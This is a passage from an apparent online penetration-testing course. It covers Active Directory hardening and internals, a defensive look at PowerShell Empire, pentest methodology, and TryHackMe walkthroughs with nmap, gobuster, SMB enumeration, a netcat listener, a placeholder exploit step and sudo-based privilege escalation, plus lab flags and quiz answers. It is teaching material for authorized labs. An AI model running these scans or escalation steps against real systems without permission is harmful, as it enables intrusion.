  • Use Group Managed Service Accounts (gMSA) when supported.
  • Restrict service account permissions to specific services.
  • Rotate credentials automatically and frequently.
  • Monitor authentication activity for service accounts separately.

🏰 Domain Controller Protection

Domain Controllers represent the highest-value assets in Active Directory. Their protection should exceed standard server security baselines.

  • Restrict network access to DCs using firewalls and segmentation.
  • Allow logons only from dedicated administrative workstations.
  • Enable advanced auditing and centralized logging.
  • Monitor for configuration drift and unauthorized changes.

📘 Monitoring & Detection

Hardening without visibility creates a false sense of security. Continuous monitoring ensures that deviations from baseline are detected quickly.

  • Monitor Kerberos and NTLM authentication events.
  • Alert on privileged group membership changes (e.g., Event IDs 4728, 4732, 4756).
  • Track Group Policy modifications and link changes.
  • Enable PowerShell Script Block Logging for administrative activity.
  • Use endpoint telemetry (e.g., Sysmon) on critical systems.

📋 Governance & Continuous Improvement

Sustainable AD security requires governance structures that enforce accountability and regular review.

  • Conduct regular privilege and access reviews.
  • Document and approve all AD changes through change management.
  • Perform periodic AD security assessments and baselining.
  • Train administrators on secure identity practices.
✅ A hardened Active Directory environment combines strong configuration, disciplined administration, and continuous monitoring to create a resilient identity platform.

24.6 Active Directory Setup from Scratch (Windows Server)

Before performing Active Directory attacks or applying hardening techniques, it is essential to understand how an AD environment is built. This section provides a step-by-step guide to setting up Active Directory Domain Services (AD DS) using Windows Server.

This lab-based setup mirrors real enterprise environments and forms the foundation for learning AD misconfigurations, attacks, and defenses.

📘 Hands-On Reference:
Follow this detailed external guide for screenshots and exact configuration steps:

👉 Active Directory Domain Services Setup (Windows Server)
✅ A correctly built Active Directory lab is essential for understanding real-world AD attacks, misconfigurations, and defensive hardening strategies.

24.7 Managing Active Directory Objects (OU, Users, Groups & Computers)

Active Directory organizes resources using logical objects. Understanding how to create and manage these objects is essential for administration, security, and Group Policy enforcement.

📂 Organizational Unit (OU)

An Organizational Unit (OU) is a container used to organize users, groups, computers, and other OUs within a domain. OUs are primarily used for delegation and Group Policy application.

  • ✔ Logical organization of AD objects
  • ✔ Enables Group Policy targeting
  • ✔ Supports administrative delegation
🛠️ How to Create an OU
  1. Open Active Directory Users and Computers
  2. Right-click the domain (e.g. NotesTime.local)
  3. Select New → Organizational Unit
  4. Enter OU name (e.g. IT, HR)
  5. Click OK

👤 User Object

A User object represents an individual identity used to log in, access resources, and receive permissions within the domain.

  • ✔ Used for authentication
  • ✔ Assigned permissions via groups
  • ✔ Controlled by Group Policies
🛠️ How to Create a User
  1. Open Active Directory Users and Computers
  2. Navigate to desired OU
  3. Right-click → New → User
  4. Enter name and username (e.g. jdoe)
  5. Set password and account options
  6. Click Finish

👥 Group Object

A Group object is used to assign permissions to multiple users or computers at once, simplifying access management.

  • ✔ Centralized permission management
  • ✔ Users inherit access via group membership
  • ✔ Reduces administrative overhead
🛠️ How to Create a Group
  1. Right-click desired OU
  2. Select New → Group
  3. Enter group name (e.g. IT-Admins)
  4. Group scope: Global
  5. Group type: Security
  6. Click OK
💡 Best Practice: Always assign permissions to groups, not individual users.

💻 Computer Object

A Computer object represents a machine that is joined to the Active Directory domain.

  • ✔ Represents domain-joined systems
  • ✔ Receives computer-based Group Policies
  • ✔ Used for access control and auditing
🛠️ How to Create a Computer Object
  1. Open Active Directory Users and Computers
  2. Right-click desired OU
  3. Select New → Computer
  4. Enter computer name (e.g. WIN10-CLIENT)
  5. Click OK
⚠️ Computer objects may also be created automatically when a machine joins the domain.

24.8 Active Directory Core Services & Internals

Active Directory is not a single service but a tightly integrated system composed of DNS, authentication protocols, directory databases, and replication mechanisms. Understanding these internal dependencies is critical for secure administration, troubleshooting, and defense.

🌐 Why DNS Is Mandatory for Active Directory

Active Directory is 100% dependent on DNS. DNS is not optional, not a helper service, and not a backup component — it is the backbone of AD.

💡 Think of DNS as a phone directory for Active Directory. Without DNS, computers do not know where Domain Controllers live.
🔍 What DNS Does During a Login
  1. User enters username and password
  2. Client queries DNS for a Domain Controller
  3. DNS responds with SRV records
  4. Client connects to the Domain Controller
  5. Kerberos authentication begins
📌 Critical DNS Records Used by AD
  • _ldap._tcp.dc._msdcs.domain – LDAP services
  • _kerberos._tcp.domain – Kerberos authentication
  • A records – Domain Controller IP addresses
🚨 If DNS is misconfigured or unavailable:
  • Users cannot log in
  • Computers cannot join the domain
  • Group Policy fails
  • Kerberos authentication breaks
⚠️ Best Practices:
  • Domain Controller DNS should point to itself
  • Never use public DNS (e.g., 8.8.8.8) on a DC

🌐 Why Use NotesTime.local in a Lab?

When creating an Active Directory forest, a domain namespace is required. For labs and training environments, a non-public internal domain is the safest and recommended approach.

  • ✔ Not publicly resolvable on the internet
  • ✔ Prevents DNS conflicts with real domains
  • ✔ Safe for malware testing and security labs
  • ✔ Commonly used in AD training environments
⚠️ Do NOT use a real production domain (e.g., company.com) in a lab.
💡 In production, organizations typically use subdomains like corp.company.com.

🔐 Authentication in Active Directory

🔑 Kerberos Authentication (Default)
  • ✔ Ticket-based authentication
  • ✔ Mutual authentication
  • ✔ Resistant to replay attacks
  • ✔ Requires accurate time synchronization
🧾 NTLM Authentication (Legacy)
  • ⚠️ Challenge-response based
  • ⚠️ Vulnerable to relay and pass-the-hash attacks
  • ⚠️ Used only for legacy compatibility
🚨 Modern environments should minimize NTLM usage and enforce Kerberos.

👑 FSMO Roles in Active Directory

FSMO roles prevent conflicts by ensuring only one Domain Controller performs certain critical tasks.

  • Schema Master – Controls AD object definitions
  • Domain Naming Master – Prevents duplicate domains
  • RID Master – Issues unique IDs
  • PDC Emulator – Passwords, lockouts, time sync
  • Infrastructure Master – Cross-domain references
💡 In single-DC labs, all FSMO roles safely reside on one server.

🧩 What Is a Service Principal Name (SPN)?

A Service Principal Name (SPN) is a unique identifier that associates a service instance with a service account in Active Directory. Kerberos uses SPNs to locate the correct service account during authentication.

  • ✔ Links services to service accounts
  • ✔ Required for Kerberos authentication
  • ✔ Commonly used by SQL, IIS, Exchange, CIFS
⚠️ Misconfigured SPNs can lead to:
  • Kerberos authentication failures
  • Authentication fallback to NTLM
  • Kerberoasting attack opportunities

🔄 How Authentication Works in Active Directory

  1. User logs in with username and password
  2. Client contacts a Domain Controller
  3. Kerberos Ticket Granting Ticket (TGT) is issued
  4. Client requests a service ticket using an SPN
  5. Service validates the ticket and grants access
💡 This entire process happens transparently within milliseconds during normal domain logins.

🛡️ Why Domain Controller Security Is Critical

A Domain Controller represents the highest privilege level in a Windows environment. Compromise of a single DC equals compromise of the entire domain.

  • 🚫 Never browse the internet from a DC
  • 🚫 Never install third-party software
  • 🚫 Never use DCs for daily administration
  • ✔ Apply hardening immediately after installation
🚨 Treat Domain Controllers as Tier 0 assets at all times.

🗄️ Active Directory Database, Logs & SYSVOL Explained

When a Windows Server is promoted to a Domain Controller, Active Directory automatically creates critical system folders used for authentication, replication, and policy enforcement.

  • 📂 NTDS Database Folder
    Path: C:\Windows\NTDS
    File: NTDS.dit
    Purpose: Stores all AD objects and password hashes
  • 🧾 NTDS Log Files
    Path: C:\Windows\NTDS
    Files: .log, .edb
    Purpose: Transaction logging and crash recovery
  • 📁 SYSVOL Folder
    Path: C:\Windows\SYSVOL
    Contains: Group Policies and logon scripts
    Replication: DFS Replication (DFSR)
🚨 Compromise of NTDS.dit results in full domain compromise.
⚠️ Do NOT manually modify SYSVOL or NTDS contents outside official tools.
💡 For labs, default paths are ideal. Production environments may use dedicated disks.

⚔️ Common Active Directory Attack Targets

  • NTDS.dit Database Theft – All user accounts and hashes
  • Kerberoasting (SPN Abuse) – Weak service account passwords
  • NTLM Relay Attacks – Legacy authentication abuse
  • SYSVOL GPO Abuse – Malicious scripts across the domain
🛡️ Why Attack Knowledge Matters:
Understanding how attacks work helps administrators harden Active Directory, detect suspicious behavior, and prevent misconfigurations.
⚠️ Rule of thumb: Never treat a Domain Controller like a normal server.
✅ Understanding how attacks work is the first step to defending Active Directory effectively.

🎓 Module 24 : Active Directory Attacks Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 25 – PowerShell Empire (Ultra-Level Detailed & Safe)

PowerShell Empire is a post-exploitation framework historically used for automation, remote management, and red team exercises. In this module, we explore Empire from a defensive and analytical perspective — understanding its architecture, communication model, PowerShell mechanisms, and detection surfaces. No offensive usage or exploitation steps are included.

⚠️ Important: This module covers only safe, defensive, conceptual, and monitoring-oriented aspects of PowerShell Empire. No harmful use cases are described. Focus is on detection, logging, defensive monitoring, and security controls.

25.1 What is PowerShell Empire?

PowerShell Empire (commonly called “Empire”) is an automated PowerShell-based framework designed for remote management, command execution, and post-exploitation simulation in authorized red team exercises. From a defender’s perspective, Empire is important because it relies heavily on PowerShell, making it highly visible when proper logging and monitoring are enabled.

🎯 Empire in Defensive Context

  • ✔ Used to simulate attacker activity in controlled environments
  • ✔ Helps defenders identify visibility gaps
  • ✔ Demonstrates importance of PowerShell logging
  • ✔ Useful for studying command execution flows & remote management channels
💡 Empire relies on PowerShell’s native capabilities — making strong PowerShell defenses extremely effective.

25.2 Empire Architecture Overview (Safe)

Empire follows a modular architecture consisting of a server controller (“Listener”), agents on endpoints, and communication channels built on encrypted transports. Understanding this architecture helps defenders map observable behaviors.

🧩 Core Components

Component Description Defensive Relevance
Listener Receives agent connections; controls communication Network monitoring point (TLS, HTTP patterns)
Agent PowerShell-based code running on target machine PowerShell logs, process creation, AMSI events
Modules Scripts for automation, collection & remote tasks ASR rules & ScriptBlock logs catch usage
Stagers Initial code responsible for agent setup ScriptBlock events + network signatures
Communication Channels HTTP(S), DNS, named pipes, etc. Firewall & proxy detection paths
⚠️ Even encrypted Empire traffic generates behavioral indicators detectable via proxy logs, EDR, and PowerShell analytics.

25.3 Script Execution Concepts (PowerShell Internals)

Empire heavily leverages core PowerShell features. Understanding these features helps defenders detect misuse.

🔍 Key PowerShell Internals

  • ✔ ScriptBlock execution
  • ✔ Encoded commands
  • ✔ PowerShell remoting channels
  • ✔ In-memory execution (no file on disk)
  • ✔ Reflection & .NET API calls

📘 Defensive Insights

  • ✔ PowerShell ScriptBlock logging captures decoded content
  • ✔ AMSI (Antimalware Scan Interface) scans script content prior to execution
  • ✔ Module logging reveals loaded modules & execution events
  • ✔ Constrained Language Mode reduces risky script behaviors
  • ✔ Event ID 4104 is a major detection point
💡 PowerShell is extremely observable when logging is enabled — defenders can gain full insight into script behavior.

25.4 Logging & Monitoring Empire Activity

Empire activity creates numerous forensic artifacts detectable through Windows logging infrastructure and EDR solutions.

📑 Logging Sources

  • PowerShell Logs – ScriptBlock, Module, Transcription
  • Windows Event Logs – Process creation, network connections
  • Sysmon – Process, registry, pipe, file events
  • Proxy/Firewall Logs – Outbound traffic anomalies
  • EDR Telemetry – In-memory execution, command logs

📌 Key Events to Monitor

Log Type Event Relevance
PowerShell 4104, 4103 Script execution & pipeline activity
Sysmon 1, 3, 11 Process creation, network flow, file events
Windows Security 4688 Process creation & command-line usage
Windows PowerShell 600, 403 Engine state & script invocation
EDR alerts Varies Memory execution, obfuscated commands
✔ Nearly all Empire activity is detectable when PowerShell logging & EDR are deployed correctly.

25.5 PowerShell Security Best Practices

Strong PowerShell security reduces risk and prevents misuse of automation frameworks. Below are industry-standard hardening controls.

🛡️ Essential Hardening Techniques

  • ✔ Enable PowerShell logging (ScriptBlock, Module, Transcription)
  • ✔ Enable AMSI (Anti-Malware Scan Interface)
  • ✔ Enforce Constrained Language Mode for non-admin users
  • ✔ Apply AppLocker or WDAC policies
  • ✔ Audit & limit remote PowerShell usage (WinRM)
  • ✔ Use Just Enough Administration (JEA)
  • ✔ Disable unneeded v1 engine and restrict elevated shells

🔐 Secure Execution Concepts

  • ✔ Block unsigned scripts (Execution Policy + WDAC)
  • ✔ Rotate and protect admin credentials
  • ✔ Monitor all remote command execution events
  • ✔ Detect suspicious encoded commands
  • ✔ Maintain PowerShell version updates
✅ Proper PowerShell hygiene dramatically limits the potential for misuse by malware or unauthorized tools.

🎓 Module 25 : Power Shell Empire Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 26 – Penetration Test Breakdown (Ultra-Level Detailed & Safe)

A penetration test is a structured, authorized security assessment designed to evaluate an organization’s resilience against cyber threats. This module breaks down the entire lifecycle of a pentest — from planning to reporting — focusing on safe, lawful, and professional methodologies. No exploitation steps or harmful actions are included.

⚠️ Important:
This module covers ethical, legal, and procedural penetration testing concepts only. It teaches methodology, documentation, evidence handling, and reporting — not how to perform attacks.

26.1 Pre-Engagement Activities

Pre-engagement is the most important phase of a pentest. It defines legal boundaries, scope, timelines, deliverables, methodology, and operational safety. A well-structured pre-engagement reduces misunderstandings and protects both tester and client.

📘 Core Pre-Engagement Tasks

  • ✔ Define scope (assets, IP ranges, applications, APIs)
  • ✔ Identify testing type (black-box, gray-box, white-box)
  • ✔ Identify in-scope vs out-of-scope systems
  • ✔ Confirm timeline, testing hours, maintenance windows
  • ✔ Define escalation and communication procedures
  • ✔ Agree on evidence-handling & data sensitivity practices
  • ✔ Discuss acceptable use & safety rules (no destructive tests)

📝 Required Legal Documents

  • ROE (Rules of Engagement) — defines what testers can and cannot do
  • NDA (Non-Disclosure Agreement) — protects confidential data
  • Authorization Letter — written permission to test
  • SOW (Statement of Work) — scope, deliverables, cost
💡 Without proper authorization, any form of testing becomes illegal. Always obtain signed approvals before beginning.

26.2 Execution Phase Overview (Conceptual & Safe)

The execution phase is the technical portion of an authorized pentest. It follows a well-defined methodology to ensure structured and safe testing. The purpose is to identify security weaknesses, not to perform harmful exploitation.

🧭 Common Pentest Workflow

Phase Description (Safe) Goal
Reconnaissance Gather information from public and internal sources Understand the attack surface
Scanning Identify active systems, ports, and services Map network layout
Enumeration Extract additional technical details Identify potential weaknesses
Vulnerability Analysis Match configurations with known issues Locate unsafe settings or outdated software
Validation Confirm findings safely Avoid false positives
Reporting Document results with remediation guidance Improve security posture
✔ Testing must follow the ROE strictly — no denial-of-service tests, no destructive actions.

26.3 Documentation & Evidence Handling

Proper documentation ensures that findings are accurate, reproducible, and understandable by stakeholders. Evidence must be handled securely to protect sensitive information.

📎 Types of Documentation

  • ✔ Field Notes — daily activity logs
  • ✔ Screenshots — visual confirmation of behavior
  • ✔ Tool Output Logs — raw scanner + enumeration data
  • ✔ Timeline Documentation — sequence of activities
  • ✔ Evidence Storage — encrypted containers

🔐 Evidence Handling Rules

  • ✔ Store evidence encrypted (BitLocker / VeraCrypt)
  • ✔ Do not collect excessive data
  • ✔ Label all evidence with time & source
  • ✔ Avoid personal/PII data whenever possible
  • ✔ Follow data minimization standards
💡 You should document everything — even actions that led to no finding. This improves traceability and transparency.

26.4 Communicating Findings

Communication is crucial during and after a pentest. Regular updates reduce surprises and ensure all stakeholders understand risk levels.

📣 Communication Channels

  • ✔ Daily/Weekly progress updates
  • ✔ Secure email or ticketing systems
  • ✔ Emergency communication hotline
  • ✔ Final reporting meeting
  • ✔ Post-engagement review call

📌 Critical Elements of Clear Communication

  • ✔ Prioritize findings by severity
  • ✔ Map issues to business impact
  • ✔ Use non-technical language for executives
  • ✔ Provide mitigation steps, not just problems
  • ✔ Include evidence but avoid sensitive data
✔ Communication must remain professional, concise, and business-focused.

26.5 Post-Engagement Review

After a pentest is completed, a structured review ensures that findings are understood, remediation is prioritized, and improvements are tracked.

📌 Components of Post-Engagement Review

  • ✔ Final report delivery & walkthrough
  • ✔ Remediation roadmap creation
  • ✔ Lessons learned discussion
  • ✔ Update of asset inventory & risk profile
  • ✔ Schedule for retesting (if required)

📝 Post-Engagement Deliverables

  • ✔ Executive summary
  • ✔ Technical report
  • ✔ Evidence package (if permitted)
  • ✔ Mitigation recommendations
  • ✔ Security maturity rating
🟢 A thorough post-engagement helps strengthen long-term defensive posture.

🎓 Module 26 : Penetration Test Breakdown Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 27 : Trying Harder — The Labs

This module focuses on hands-on lab thinking. The goal is to apply concepts learned throughout the course in a controlled lab environment, similar to CTF-style challenges.

⚠️ All labs are for learning and practice only. Perform activities only in authorized lab environments.

Creating a TryHackMe Account & Lab Access

Before starting TryHackMe labs, learners must create a TryHackMe account and sign in to the learning platform. TryHackMe provides guided, hands-on cybersecurity labs for beginners to advanced learners.

Purpose:
TryHackMe accounts provide access to interactive rooms, learning paths, hands-on challenges, virtual machines, and browser-based attack labs.

Official Signup Page:
Use the following link to create a free TryHackMe account:

TryHackMe Signup Link:
https://tryhackme.com/signup

A free account allows access to many beginner rooms, while premium subscriptions unlock advanced labs and learning paths.

Step-by-Step Account Creation Process:

📌 Step 1: Open the TryHackMe Signup Page

Open the official TryHackMe signup page in your browser. Make sure you are using a valid email address.

📌 Step 2: Fill in Registration Details

Complete the registration form with accurate information.

  • Choose a unique username
  • Enter a valid email address
  • Create a strong password
  • Accept the TryHackMe terms of service
📌 Step 3: Verify Email Address

TryHackMe may send a verification email to confirm your account.

  • Check your inbox and spam folder
  • Click the verification link if required
  • Return to the TryHackMe website
📌 Step 4: Sign In to TryHackMe

After account creation, sign in to access rooms and learning paths.

TryHackMe Sign-In Page:
https://tryhackme.com/login

📌 Step 5: Choose Learning Paths or Rooms

Once logged in, you can begin learning immediately.

  • Start with beginner learning paths
  • Join individual rooms (CTF-style labs)
  • Use browser-based labs or VPN-based machines
📌 Step 6: Access Machines & Labs

TryHackMe provides both browser-based attack boxes and VPN-based access depending on the room.

  • Launch the AttackBox (browser-based)
  • Or download the VPN configuration (for local Kali Linux)
  • Follow room instructions carefully
💡 Tip:
Beginners should start with guided learning paths before attempting harder CTF-style rooms.
⚠️ Important:
Only attack machines within the TryHackMe platform. Never scan or exploit systems outside the lab environment.
🚨 Legal & Ethical Notice:
TryHackMe labs are authorized practice environments. Applying these techniques to real-world systems without permission is illegal.

🧪 Lab 27.1 – Passive Reconnaissance (TryHackMe walkthrough)

This lab replicates the TryHackMe "Passive Reconnaissance" room — we cover whois, nslookup, dig, DNSDumpster, and Shodan.io. Learn to collect information without touching the target.

⚠️ For authorized lab environments only (e.g., TryHackMe, HackTheBox). Never run these queries on systems you do not own or have permission to test. All examples use public info (tryhackme.com / thmlabs.com).

🔍 Phase 1: Passive Versus Active Recon

Before touching any target, we distinguish between passive methods (public knowledge) and active engagement. Sun Tzu would approve: know thy enemy without stepping on their land.

  • ✔ Passive: WHOIS, DNS lookups, job ads, news, social media
  • ✔ Active: connecting to HTTP/FTP/SMTP, social engineering calls
  • ✔ Always start with passive — no alerts, no logs on target side
💡 Even a Facebook visit is passive; pinging the webserver is active (traffic reaches them).
❓ Q: Facebook recon? → P ❓ Q: Ping ICMP? → A ❓ Q: Party social engineering? → A

🌐 Phase 2: WHOIS – registrar & registrant records

WHOIS (TCP 43) reveals registration data: registrar, dates, name servers, sometimes contacts unless privacy-protected.

whois tryhackme.com
  • ✔ Registrar: namecheap.com (or whoever maintains the record)
  • ✔ Creation date: 2018-07-05 (flag format: 20180705)
  • ✔ Name servers: currently cloudflare.com
⚠️ Many registrants use privacy services — redacted email/name, but we still get valuable infrastructure hints.
🔎 AttackBox example whois tryhackme.com
$ whois tryhackme.com
[Querying whois.verisign-grs.com]
...
Creation Date: 2018-07-05T19:46:15.00Z
Registrar: NAMECHEAP INC
Name Server: NS1.CLOUDFLARE.COM
...

🔎 Phase 3: nslookup & dig – DNS interrogation

Query DNS servers for A, MX, TXT, etc. You can choose your resolver (1.1.1.1, 8.8.8.8). Dig gives more technical detail (TTL, etc.).

nslookup -type=TXT thmlabs.com
dig thmlabs.com TXT
  • ✔ A / AAAA → IP addresses
  • ✔ MX → mail servers (priority order)
  • ✔ TXT → often verification strings, flags, SPF
💡 The TXT record for thmlabs.com contains the flag: THM{a5b83929888ed36acb0272971e438d78}
$ dig thmlabs.com TXT +short
"THM{a5b83929888ed36acb0272971e438d78}"
"v=spf1 include:spf.efwd.registrar-servers.com ~all"

🗺️ Phase 4: DNSDumpster – subdomain discovery

Standard DNS won't reveal subdomains like remote.tryhackme.com. DNSDumpster aggregates subdomains from public sources and builds a map.

https://dnsdumpster.com/
  • ✔ Finds hidden subdomains (e.g., remote, blog, support)
  • ✔ Resolves to IP, shows geolocation, graph export
  • ✔ Also MX, TXT, and nameserver info in one view
⚠️ DNSDumpster is free, no signup — great for passive recon.
🌍 tryhackme.com on DNSDumpster reveals: www, blog, remote
📌 Interesting subdomain: remote.tryhackme.com

📡 Phase 5: Shodan.io – internet device search engine

Shodan crawls the whole internet and stores banners. Search by domain, IP, or service.

https://www.shodan.io/
  • ✔ See open ports, server versions, location, ISP
  • ✔ Find exposed databases, webcams, industrial controls
  • ✔ Search filters: country, port, product, org
💡 Apache top country: United States · 3rd most common port for Apache: 8080 · nginx most common: 80
🔍 "apache" country:US  →  United States
🔍 "apache" port:8080  →  3rd common
🔍 "nginx" port:80     →  #1

📋 Phase 6: Summary – command cheat sheet

All passive, no packets sent to target. Use these to map the attack surface.

PurposeExample command
WHOIS lookupwhois tryhackme.com
DNS A recordsnslookup -type=A tryhackme.com
DNS MX @ specific servernslookup -type=MX tryhackme.com 1.1.1.1
DNS TXTnslookup -type=TXT thmlabs.com
DIG any typedig tryhackme.com A / dig @1.1.1.1 tryhackme.com MX
DIG TXTdig thmlabs.com TXT
✅ Passive recon complete — you now have registrar info, IPs, subdomains, mail servers, and technology fingerprints without ever touching the target.

🌐 Lab 27.2 – Active Reconnaissance (TryHackMe walkthrough)

This lab replicates the TryHackMe "Active Reconnaissance" room — we cover web browser developer tools, ping, traceroute, telnet, and netcat. Learn to gather information by directly interacting with the target.

⚠️ For authorized lab environments only (e.g., TryHackMe, HackTheBox). Active reconnaissance generates logs and traffic — always have written permission.

📘 Task 1: Introduction

Active reconnaissance requires direct engagement with the target — unlike passive recon, you make connections that may be logged. This room focuses on tools built into most OSes: web browser (with dev tools), ping, traceroute, telnet, and netcat.

💡 Even browsing a website is active recon — your IP appears in server logs.

🌐 Task 2: Web Browser & Developer Tools

Browsers connect to ports 80/443 by default, but you can specify custom ports. Developer tools (F12 / Ctrl+Shift+I) reveal cookies, JS files, folder structure, and more.

# Open Developer Tools:
# Linux/Windows: Ctrl+Shift+I   |   macOS: Option + Command + I
  • ✔ Inspect network traffic, cookies, local storage
  • ✔ Modify JavaScript on the fly
  • ✔ Discover hidden endpoints and parameters
💡 Useful extensions: FoxyProxy, User-Agent Switcher, Wappalyzer.
❓ Task 2 question: Browse to the provided website and open Developer Tools. Figure out the total number of questions. (Use AttackBox/Firefox)

📶 Task 3: Ping (ICMP Echo)

Ping checks if a remote system is online and reachable. It sends ICMP echo requests and listens for replies.

ping -c 10 <TARGET_IP>        # Linux: stop after 10 packets
ping -n 10 <TARGET_IP>        # Windows: send 10 echoes
  • ✔ -c or -n sets number of packets
  • ✔ ICMP header is 8 bytes (on top of IP header)
  • ✔ MS Windows Firewall blocks ping by default → Y
❓ Task 3 questions:
Which option sets size of data carried by ICMP echo request? -s
Size of ICMP header in bytes? 8
Does MS Windows Firewall block ping by default? Y
Deploy VM, run ping -c 10 MACHINE_IP. How many replies? (depends on lab — answer in room)

🛰️ Task 4: Traceroute

Traceroute reveals the path (routers) packets take to reach a destination. It uses TTL field to elicit ICMP time-exceeded messages.

traceroute tryhackme.com    # Linux / macOS
tracert tryhackme.com       # Windows
  • ✔ Each line represents a hop (router)
  • ✔ Three packets per TTL, may show different IPs
  • ✔ * * * means no reply (firewall or silent router)
💡 Routes can change dynamically — multiple runs may show different paths.
❓ Task 4 questions (based on traceroute examples A & B):
In Traceroute A, last hop before tryhackme.com? 172.67.69.208
In Traceroute B, last hop before tryhackme.com? 104.26.11.229
In Traceroute B, how many routers between? 26
Run traceroute MACHINE_IP (attached VM) — count hops.

📞 Task 5: Telnet

Telnet (port 23) sends data in cleartext, but the client can connect to any TCP port to grab banners.

telnet MACHINE_IP 80
GET / HTTP/1.1
host: example
  • ✔ After connecting, type HTTP request + host header + blank line
  • ✔ Server reveals its type and version (e.g., nginx/1.6.2)
❓ Task 5 questions (using attached VM):
Connect to VM port 80 with telnet. What is the name of the running server? Apache? nginx? (lab dependent)
What is the version? (e.g., nginx/1.6.2)

⚙️ Task 6: Netcat (nc)

Netcat can be a client (connect to any TCP/UDP port) or a server (listen on a port). It's perfect for banner grabbing.

nc MACHINE_IP 80                     # client
GET / HTTP/1.1
host: netcat

nc -lvnp 1234                         # listen on port 1234 (server)
  • ✔ -l listen, -v verbose, -n no DNS, -p port
  • ✔ After connection, anything typed is echoed to the other side
💡 Use netcat to connect to VM port 21 (FTP) and grab its banner.
❓ Task 6 question: Connect to VM port 21 with netcat. What is the version of the running server? (e.g., vsftpd 3.0.3)

🧰 Task 7: Putting It All Together

These basic tools can be scripted into a primitive scanner. The table below summarises essential commands.

PurposeExample command
Ping (Linux)ping -c 10 MACHINE_IP
Ping (Windows)ping -n 10 MACHINE_IP
Traceroute (Linux/macOS)traceroute MACHINE_IP
Traceroute (Windows)tracert MACHINE_IP
Telnet clienttelnet MACHINE_IP PORT
Netcat clientnc MACHINE_IP PORT
Netcat servernc -lvnp PORT
Active reconnaissance complete — you've used browser tools, ping, traceroute, telnet, and netcat. Master these before moving to advanced scanners like nmap.

🧪 Lab 27.3 – Simple CTF (Recon → Privilege Escalation)

This lab is based on a beginner-level Capture The Flag (CTF) scenario designed to demonstrate the full attack lifecycle: scanning, enumeration, research, exploitation, and privilege escalation.

⚠️ For authorized lab environments only (e.g., TryHackMe). Never run these commands on systems you do not own or have permission to test.

🔍 Phase 1: Network Scanning

Every CTF begins with understanding what services are exposed. A full TCP scan helps identify entry points.

nmap -sC -sV -p- <TARGET_IP>
  • ✔ Identifies open ports
  • ✔ Detects running services
  • ✔ Reveals service versions
💡 Typical beginner targets expose only a few services under port 1000.

🌐 Phase 2: Web Enumeration

If HTTP is open, directory enumeration often reveals hidden applications.

gobuster dir -u http://<TARGET_IP> -w <WORDLIST>
  • ✔ Finds hidden directories
  • ✔ Reveals admin panels or apps
  • ✔ Helps identify frameworks or CMS
⚠️ Enumeration often reveals more than intended.

🔎 Phase 3: Vulnerability Research

Once a technology and version are identified, research is critical. Public vulnerability databases help assess risk.

Search: "<Application Name> <Version> exploit"
  • ✔ Identifies known CVEs
  • ✔ Confirms vulnerability types
  • ✔ Prevents blind exploitation
💡 Always understand a vulnerability before attempting to test it.

⚔️ Phase 4: Controlled Exploitation (Conceptual)

In authorized labs, proof-of-concept exploits may be used to validate real impact.

python3 exploit.py -u http://<TARGET_IP>/path
⚠️ Exploits are used only to prove risk, not to damage systems.

🏁 Phase 5: Initial Access & User Flag

Successful exploitation may reveal credentials that allow authenticated access.

ssh <username>@<TARGET_IP> -p <PORT>
  • ✔ Validate access level
  • ✔ Locate user-level flags
  • ✔ Enumerate local users

🚀 Phase 6: Privilege Escalation (Study)

Privilege escalation determines the worst-case impact of a compromise.

sudo -l
💡 Misconfigured sudo permissions are a common escalation vector.

Public references such as GTFOBins help defenders and testers understand dangerous configurations.

Reference: https://gtfobins.github.io/

🏆 Final Phase: Root Access Validation

The final flag confirms full system compromise in a controlled lab scenario.

✅ Lab complete — document findings and remediation steps.

🧾 Key Takeaways

  • ✔ Reconnaissance drives success
  • ✔ Enumeration beats guessing
  • ✔ Public exploits highlight patch urgency
  • ✔ Misconfigurations cause most breaches

🧪 Lab 27.4 – Anonymous (FTP & SMB Exploitation)

Complete walkthrough for the TryHackMe Anonymous room - A beginner-friendly machine focusing on FTP misconfigurations and SMB shares.

⚠️ For TryHackMe lab environments only. Always follow legal and ethical guidelines.

🚀 Task 1: Deploy the Machine

# Start the machine
# Click "Start Machine" button

# Get the target IP address
# Example: 10.10.10.10

# Connect to TryHackMe network
sudo openvpn your-config.ovpn

# Verify connectivity
ping -c 3 TARGET_IP

🔍 Task 1: Enumeration

First, perform network scanning to identify open ports and services.

Question 1: How many ports are open?
# Perform Nmap scan
nmap -sS -p- --min-rate 1000 TARGET_IP

# OR with service detection
nmap -sV -sC -p- TARGET_IP -oN initial_scan.txt

# Sample output:
# PORT    STATE SERVICE     VERSION
# 21/tcp  open  ftp         vsftpd 2.0.8 or later
# 22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

# Count the open ports: 4 ports are open
# Answer: 4
Question 2: What service is running on port 21?
# From Nmap output:
# 21/tcp open ftp

# Check FTP version
nc TARGET_IP 21
# Output: 220 (vsFTPd 3.0.3)

# OR use nmap banner grab
nmap -sV -p 21 TARGET_IP

# Answer: FTP (vsFTPd)
Question 3: What service is running on ports 139 and 445?
# From Nmap output:
# 139/tcp open netbios-ssn
# 445/tcp open netbios-ssn

# Both are SMB (Server Message Block) ports
# Port 139: NetBIOS Session Service
# Port 445: SMB over TCP

# Check SMB version
nmap --script smb-protocols -p 139,445 TARGET_IP

# Answer: SMB

🔎 Task 1 Continued: SMB Share Discovery

Question 4: There's a share on the user's computer. What's it called?
# Enumerate SMB shares
smbclient -L //TARGET_IP/ -N

# OR use enum4linux
enum4linux -S TARGET_IP

# OR use nmap scripts
nmap --script smb-enum-shares -p 139,445 TARGET_IP

# Sample output:
# Sharename       Type      Comment
# ---------       ----      -------
# print$          Disk      Printer Drivers
# pics            Disk      My SMB Share Directory for Pics
# IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))

# The interesting share is "pics"
# Answer: pics

📁 Phase 2: FTP Anonymous Login Exploitation

Check if FTP allows anonymous login (common misconfiguration).

# Try anonymous FTP login
ftp TARGET_IP
# Username: anonymous
# Password: (press Enter or use "anonymous")

# If successful, you'll see:
